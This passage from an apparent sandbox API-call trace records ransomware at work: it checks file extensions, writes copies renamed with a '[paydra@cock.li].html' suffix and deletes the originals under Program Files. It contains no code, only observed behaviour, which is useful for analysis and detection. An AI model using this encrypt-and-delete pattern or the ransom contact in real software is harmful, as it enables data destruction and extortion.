[0036.031] lstrlenW (lpString=".xls") returned 4 [0036.031] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0036.031] lstrlenW (lpString=".xlsx") returned 5 [0036.031] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0036.031] lstrlenW (lpString=".ppt") returned 4 [0036.031] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0036.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0036.031] lstrlenW (lpString=".zip") returned 4 [0036.031] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0036.031] lstrlenW (lpString=".rar") returned 4 [0036.031] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0036.031] lstrlenW (lpString=".bz2") returned 4 [0036.031] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0036.031] lstrlenW (lpString=".7z") returned 3 [0036.031] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0036.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0036.031] lstrlenW (lpString=".dbf") returned 4 [0036.031] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0036.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0036.031] lstrlenW (lpString=".1cd") returned 4 [0036.032] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0036.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0036.032] lstrlenW (lpString=".jpg") returned 4 [0036.032] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0036.032] lstrcmpiW (lpString1=".avi", lpString2=".html") returned -1 [0036.032] lstrlenW (lpString="correct.avi") returned 11 [0036.032] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0036.032] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=197120) returned 1 [0036.032] CloseHandle (hObject=0x1b0) returned 1 [0036.032] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi")) returned 0x20 [0036.032] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0036.032] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0036.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0036.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0036.032] lstrlenW (lpString=".doc") returned 4 [0036.032] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0036.033] lstrlenW (lpString=".docx") returned 5 [0036.033] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0036.033] lstrlenW (lpString=".pdf") returned 4 [0036.033] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0036.033] lstrlenW (lpString=".xls") returned 4 [0036.033] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0036.033] lstrlenW (lpString=".xlsx") returned 5 [0036.033] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0036.033] lstrlenW (lpString=".ppt") returned 4 [0036.033] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0036.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0036.033] lstrlenW (lpString=".zip") returned 4 [0036.033] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0036.033] lstrlenW (lpString=".rar") returned 4 [0036.033] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0036.033] lstrlenW (lpString=".bz2") returned 4 [0036.033] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0036.033] lstrlenW (lpString=".7z") returned 3 [0036.033] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0036.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0036.033] lstrlenW (lpString=".dbf") returned 4 [0036.033] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0036.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0036.033] lstrlenW (lpString=".1cd") returned 4 [0036.033] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0036.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0036.033] lstrlenW (lpString=".jpg") returned 4 [0036.033] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0036.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0036.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0036.033] lstrlenW (lpString=".doc") returned 4 [0036.033] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0036.034] lstrlenW (lpString=".docx") returned 5 [0036.034] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0036.034] lstrlenW (lpString=".pdf") returned 4 [0036.034] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0036.034] lstrlenW (lpString=".xls") returned 4 [0036.034] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0036.034] lstrlenW (lpString=".xlsx") returned 5 [0036.034] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0036.034] lstrlenW (lpString=".ppt") returned 4 [0036.034] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0036.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0036.034] lstrlenW (lpString=".zip") returned 4 [0036.034] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0036.034] lstrlenW (lpString=".rar") returned 4 [0036.034] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0036.034] lstrlenW (lpString=".bz2") returned 4 [0036.034] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0036.034] lstrlenW (lpString=".7z") returned 3 [0036.034] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0036.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0036.034] lstrlenW (lpString=".dbf") returned 4 [0036.034] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0036.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0036.034] lstrlenW (lpString=".1cd") returned 4 [0036.034] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0036.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0036.034] lstrlenW (lpString=".jpg") returned 4 [0036.034] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0036.034] lstrcmpiW (lpString1=".avi", lpString2=".html") returned -1 [0036.034] lstrlenW (lpString="delete.avi") returned 10 [0036.035] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0036.035] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=224256) returned 1 [0036.035] CloseHandle (hObject=0x1b0) returned 1 [0036.036] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi")) returned 0x20 [0036.036] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0036.036] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0036.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0036.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0036.036] lstrlenW (lpString=".doc") returned 4 [0036.036] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0036.036] lstrlenW (lpString=".docx") returned 5 [0036.036] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0036.036] lstrlenW (lpString=".pdf") returned 4 [0036.036] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0036.036] lstrlenW (lpString=".xls") returned 4 [0036.036] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0036.036] lstrlenW (lpString=".xlsx") returned 5 [0036.036] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0036.036] lstrlenW (lpString=".ppt") returned 4 [0036.036] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0036.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0036.036] lstrlenW (lpString=".zip") returned 4 [0036.036] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0036.036] lstrlenW (lpString=".rar") returned 4 [0036.036] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0036.036] lstrlenW (lpString=".bz2") returned 4 [0036.036] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0036.036] lstrlenW (lpString=".7z") returned 3 [0036.036] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0036.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0036.037] lstrlenW (lpString=".dbf") returned 4 [0036.037] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0036.586] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=1600388) returned 1 [0036.586] CloseHandle (hObject=0x194) returned 1 [0036.586] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi")) returned 0x20 [0036.586] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0036.586] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-9c354b42.[paydra@cock.li].html")) returned 0 [0036.588] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=1349) returned 1 [0036.588] CloseHandle (hObject=0x194) returned 1 [0036.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml")) returned 0x20 [0036.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0036.588] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0036.588] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.588] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.588] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0036.589] GetLastError () returned 0x0 [0036.589] ReadFile (in: hFile=0x194, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x545, lpOverlapped=0x0) returned 1 [0036.962] WriteFile (in: hFile=0x18c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x550, lpOverlapped=0x0) returned 1 [0036.963] ReadFile (in: hFile=0x194, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0036.963] WriteFile (in: hFile=0x18c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xee, lpOverlapped=0x0) returned 1 [0036.964] SetEndOfFile (hFile=0x18c) returned 1 [0036.964] CloseHandle (hObject=0x18c) returned 1 [0036.965] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.965] SetEndOfFile (hFile=0x194) returned 1 [0036.965] CloseHandle (hObject=0x194) returned 1 [0036.966] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0036.966] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml")) returned 1 [0037.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0037.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0037.246] lstrlenW (lpString=".doc") returned 4 [0037.246] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0037.246] lstrlenW (lpString=".docx") returned 5 [0037.246] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0037.246] lstrlenW (lpString=".pdf") returned 4 [0037.246] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0037.246] lstrlenW (lpString=".xls") returned 4 [0037.246] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0037.246] lstrlenW (lpString=".xlsx") returned 5 [0037.246] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0037.246] lstrlenW (lpString=".ppt") returned 4 [0037.247] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0037.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0037.247] lstrlenW (lpString=".zip") returned 4 [0037.247] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0037.247] lstrlenW (lpString=".rar") returned 4 [0037.247] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0037.247] lstrlenW (lpString=".bz2") returned 4 [0037.247] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0037.247] lstrlenW (lpString=".7z") returned 3 [0037.247] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0037.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0037.247] lstrlenW (lpString=".dbf") returned 4 [0037.247] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0037.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0037.247] lstrlenW (lpString=".1cd") returned 4 [0037.247] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0037.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0037.247] lstrlenW (lpString=".jpg") returned 4 [0037.247] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0037.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0037.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0037.247] lstrlenW (lpString=".doc") returned 4 [0037.247] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0037.247] lstrlenW (lpString=".docx") returned 5 [0037.247] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0037.247] lstrlenW (lpString=".pdf") returned 4 [0037.247] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0037.247] lstrlenW (lpString=".xls") returned 4 [0037.247] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0037.247] lstrlenW (lpString=".xlsx") returned 5 [0037.247] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0037.247] lstrlenW (lpString=".ppt") returned 4 [0037.247] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0037.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0037.248] lstrlenW (lpString=".zip") returned 4 [0037.248] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0037.248] lstrlenW (lpString=".rar") returned 4 [0037.248] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0037.248] lstrlenW (lpString=".bz2") returned 4 [0037.248] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0037.248] lstrlenW (lpString=".7z") returned 3 [0037.248] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0037.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0037.248] lstrlenW (lpString=".dbf") returned 4 [0037.248] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0037.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0037.248] lstrlenW (lpString=".1cd") returned 4 [0037.248] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0037.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0037.248] lstrlenW (lpString=".jpg") returned 4 [0037.248] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0037.248] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0037.248] lstrlenW (lpString="SETUP.XML") returned 9 [0037.248] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0037.257] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=2624) returned 1 [0037.257] CloseHandle (hObject=0x19c) returned 1 [0037.257] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml")) returned 0x20 [0037.257] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0037.257] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0037.257] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.257] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.257] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0037.257] GetLastError () returned 0x0 [0037.257] ReadFile (in: hFile=0x19c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0xa40, lpOverlapped=0x0) returned 1 [0037.264] WriteFile (in: hFile=0x1a4, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xa50, lpOverlapped=0x0) returned 1 [0037.265] ReadFile (in: hFile=0x19c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0037.265] WriteFile (in: hFile=0x1a4, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0037.265] SetEndOfFile (hFile=0x1a4) returned 1 [0037.265] CloseHandle (hObject=0x1a4) returned 1 [0037.266] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.266] SetEndOfFile (hFile=0x19c) returned 1 [0037.267] CloseHandle (hObject=0x19c) returned 1 [0037.267] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0037.267] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml")) returned 1 [0037.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0037.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0037.267] lstrlenW (lpString=".doc") returned 4 [0037.267] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0037.267] lstrlenW (lpString=".docx") returned 5 [0037.267] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0037.267] lstrlenW (lpString=".pdf") returned 4 [0037.267] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0037.267] lstrlenW (lpString=".xls") returned 4 [0037.267] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0037.267] lstrlenW (lpString=".xlsx") returned 5 [0037.267] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0037.267] lstrlenW (lpString=".ppt") returned 4 [0037.267] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0037.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0037.267] lstrlenW (lpString=".zip") returned 4 [0037.267] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0037.267] lstrlenW (lpString=".rar") returned 4 [0037.268] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0037.268] lstrlenW (lpString=".bz2") returned 4 [0037.268] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0037.268] lstrlenW (lpString=".7z") returned 3 [0037.268] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0037.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0037.268] lstrlenW (lpString=".dbf") returned 4 [0037.268] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0037.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 